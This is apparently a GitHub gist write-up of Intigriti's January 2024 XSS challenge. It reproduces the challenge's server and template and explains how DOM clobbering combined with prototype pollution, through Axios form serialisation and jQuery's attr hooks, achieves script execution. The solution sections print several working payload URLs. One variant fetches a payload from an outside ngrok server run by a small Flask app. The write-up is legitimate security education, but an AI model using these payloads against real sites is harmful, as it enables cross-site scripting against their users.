Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active April 15, 2024 18:30
Show Gist options
  • Save Siss3l/20d49beaa5fcfd025ff5fe9d2ed8724a to your computer and use it in GitHub Desktop.
Save Siss3l/20d49beaa5fcfd025ff5fe9d2ed8724a to your computer and use it in GitHub Desktop.
Intigriti's January 2024 Web Challenge thanks to @kevin-mizu

Intigriti January Challenge

  • Category: Web
  • Impact: Medium
  • Solves: 15

Challenge

Description

Pop the alert!

The solution:

  • Should work on the latest version of Chrome and FireFox;
  • Should execute alert(document.domain) on this challenge domain;
  • Should leverage a cross site scripting vulnerability on this domain;
  • Should not be self-XSS or related to MiTM attacks;
  • Should NOT use another challenge on the intigriti.io domain.

Overview

For this new January challenge, we have at our disposal a name/search code repositories website:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Intigriti XSS Challenge</title>
    <link rel="stylesheet" href="/static/css/main.css">
  </head>
  <body>
    <h2>Hey <%- name %>,<br>Which repo are you looking for?</h2>
    <form id="search"><input name="q" value="<%= search %>"></form><hr>
    <img src="/static/img/loading.gif" class="loading" width="50px" hidden><br>
    <img class="avatar" width="35%">
    <p id="description"></p>
    <iframe id="homepage" hidden></iframe>
    <script src="/static/js/axios.min.js"></script>
    <script src="/static/js/jquery-3.7.1.min.js"></script>
    <script>
        function search(name) { // unused variable
            $("img.loading").attr("hidden", false);
            axios.post("/search", $("#search").get(0), {"headers":{"Content-Type":"application/json"}}).then((d) => { // Problem
                $("img.loading").attr("hidden", true);
                const repo = d.data;
                if (!repo.owner) { alert("Not found!"); return; };
                $("img.avatar").attr("src", repo.owner.avatar_url);
                $("#description").text(repo.description);
                if (repo.homepage && repo.homepage.startsWith("https://")) { // Bypass
                    $("#homepage").attr({"src": repo.homepage, "hidden": false});
                };
            });
        };
        window.onload = () => {
            const params = new URLSearchParams(location.search);
            if (params.get("search")) { search(); }
            $("#search").submit((e) => {
                e.preventDefault(); search();
            });
        };
    </script>
    <br><a href="/static/source.zip">Get sources here</a>
  </body>
</html>

And the server source code:

const createDOMPurify = require("dompurify");
const repos = require("./repos.json");
const { JSDOM } = require("jsdom");
const express = require("express");
const path = require("path");
const app  = express(); // App config
app.set("view engine", "ejs");
app.set("view cache", false);
app.use(express.json());
const PORT = 3000;
const window = new JSDOM("").window;
const DOMPurify = createDOMPurify(window);
app.use("/static", express.static(path.join(__dirname, "static"))); // Middlewares
app.get("/", (req, res) => { // Routes
    if (!req.query.name) { res.render("index"); return; }
    res.render("search", { name: DOMPurify.sanitize(req.query.name, { SANITIZE_DOM: false }), search: req.query.search }); // Problem
});
app.post("/search", (req, res) => {
    name = req.body.q;
    repo = {};
    for (let item of repos.items) {
        if (item.full_name && item.full_name.includes(name)) { repo = item; break; }
    }
    res.json(repo);
});
app.listen(PORT, () => { console.log(`App listening on port ${PORT}!`) });

Introspection

If we immerse ourself in the technologies used here we can quickly form a roadmap:

Map

Since the SANITIZE_DOM variable for the username is set to false on the app.js file, we can use the well-known DOM clobbering technique but without Reflected XSS nor server side prototype pollution.
We notice that we can clobber the <form id="search"> elements and so on.

Also the promise-based HTTP library Axios v1.6.2 do a POST /search request to the server with the $("#search").get(0) jQuery v3.7.1 on JSON data getter, being suspicious.

Back

Solution

Having scoured the source code, the different versions of the libraries used and known vulnerabilities, we can conclude that we have to take advantage of the web image instantiation within our malicious script code.

On a single payload with the attribute value=1 everything seems to work but if we change it to value=0 we get an interesting fateful TypeError.
Delving deeper into the error, we understand that the attr jQuery method is using a set object that could let us apply any attribute with the prototype pollution:

http://localhost:3000/?search=0&name=
<form/id=search>
 <input/name=q value=0>
 <input/name=__proto__.owner value=0>
 <input/name=__proto__.avatar_url value=x>
 <input/name=__proto__.homepage value="https://">
</form>
Uncaught (in promise) TypeError: Cannot use 'in' operator to search for 'set' in 0
    at attr (jquery-3.7.1.js:7900:20)
    at access (jquery-3.7.1.js:3910:0)
    at access (jquery-3.7.1.js:3890:0)
    at jQuery.fn.init.attr (jquery-3.7.1.js:7800:10)
    at ?search=0&name=<...:40:30

The problematic attr function here:

jQuery.extend( {
    attr: function(elem, name, value) {
        var ret, hooks, nType = elem.nodeType; debugger;
        if (nType === 3 || nType === 8 || nType === 2) {
            return;
        }
        if (typeof elem.getAttribute === "undefined") {
            return jQuery.prop(elem, name, value);
        }
        if (nType !== 1 || !jQuery.isXMLDoc(elem)) {
            hooks = jQuery.attrHooks[name.toLowerCase()];
        }
        if (value !== undefined) {
            if (value === null) { // value = "0"
                jQuery.removeAttr(elem, name); return;
            }
            if (hooks && "set" in hooks && (ret = hooks.set(elem, value, name)) !== undefined) { // hooks = "0" and will crash
                return ret; // undefined
            }
            elem.setAttribute(name, value); // elem = <iframe id="homepage" src="https://"><html><head></head><body></body></html></iframe>
            return value;
        }
        if (hooks && "get" in hooks && (ret = hooks.get(elem, name)) !== null) {
            return ret;
        }
        ret = elem.getAttribute(name);
        return ret == null ? undefined : ret;
    },
);

We can then simply remind ourselves of the June Intigriti 2023 web challenge and reuse the srcdoc (or other elements) attribute to make our final chaining XSS alert:

http://localhost:3000/?search=0&name=
<form/id=search>
 <input/name=__proto__.srcdoc[] value='<svg/onload=alert(document.domain)>'>
 <input/name=__proto__.homepage value=https://>
 <input/name=__proto__.owner value=0>
</form>

Alert

Solution Bis

What was planned was using one of the links in the repos.json file (starting with https:// like ratio homepage) and deceiving lowercase sensitivity conversion to get a shortened alert execution!

http://localhost:3000/?search=0&name=
<form/id=search>
  <input/name=q value=ratio>
  <input/name=__proto__.ONLOAD value=alert(document.domain)>
</form>

While the intended part was involving some documentElement, namespaceURI, baseURL and addCombinator tweaking:

http://localhost:3000/?search=0&name=
<form id=search>
  <input name=__proto__.CLASS.dir value=parentNode>
  <input name=__proto__.TAG.dir   value=parentNode>
  <input name=__proto__.baseURL   value=https://ip.ngrok-free.app/?>
  <input name=__proto__.selector  value=img.loading>
<form>
<img name=documentElement>

With our Flask server returning the following needed JSON payload:

from flask import Flask, Response, request
@app.route("/", methods=["GET", "POST", "OPTIONS"])
def root() -> Response:
  r = Response('{"owner":{"avatar_url":"javascript:alert(document.domain);"}}', content_type="application/json")
  r.headers["Access-Control-Allow-Origin"]  = r.headers["Allow-CSP-From"] = "*"
  r.headers["Access-Control-Allow-Headers"] = "Content-Type"
  return r
if __name__ == "__main__": app.run(debug=0, host="localhost", port=8e3)  # ngrok http 8000 --region us

Or without any server at all:

https://challenge-0124.intigriti.io/challenge?search=0&name=
<form id=search><img name=documentElement>
  <input name=__proto__.selector         value=img.loading>
  <input name=__proto__.CLASS.dir        value=previousSibling>
  <input name=__proto__.owner.avatar_url value=javascript:alert(document.domain)>
</form>

Fun

Defense

Applying client verifications and a fairly strict Content-Security-Policy would have limited the damage.

Appendix

We are a little far from the usual real bug cases but the jQuery issue was invigorating to see.

Adios

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment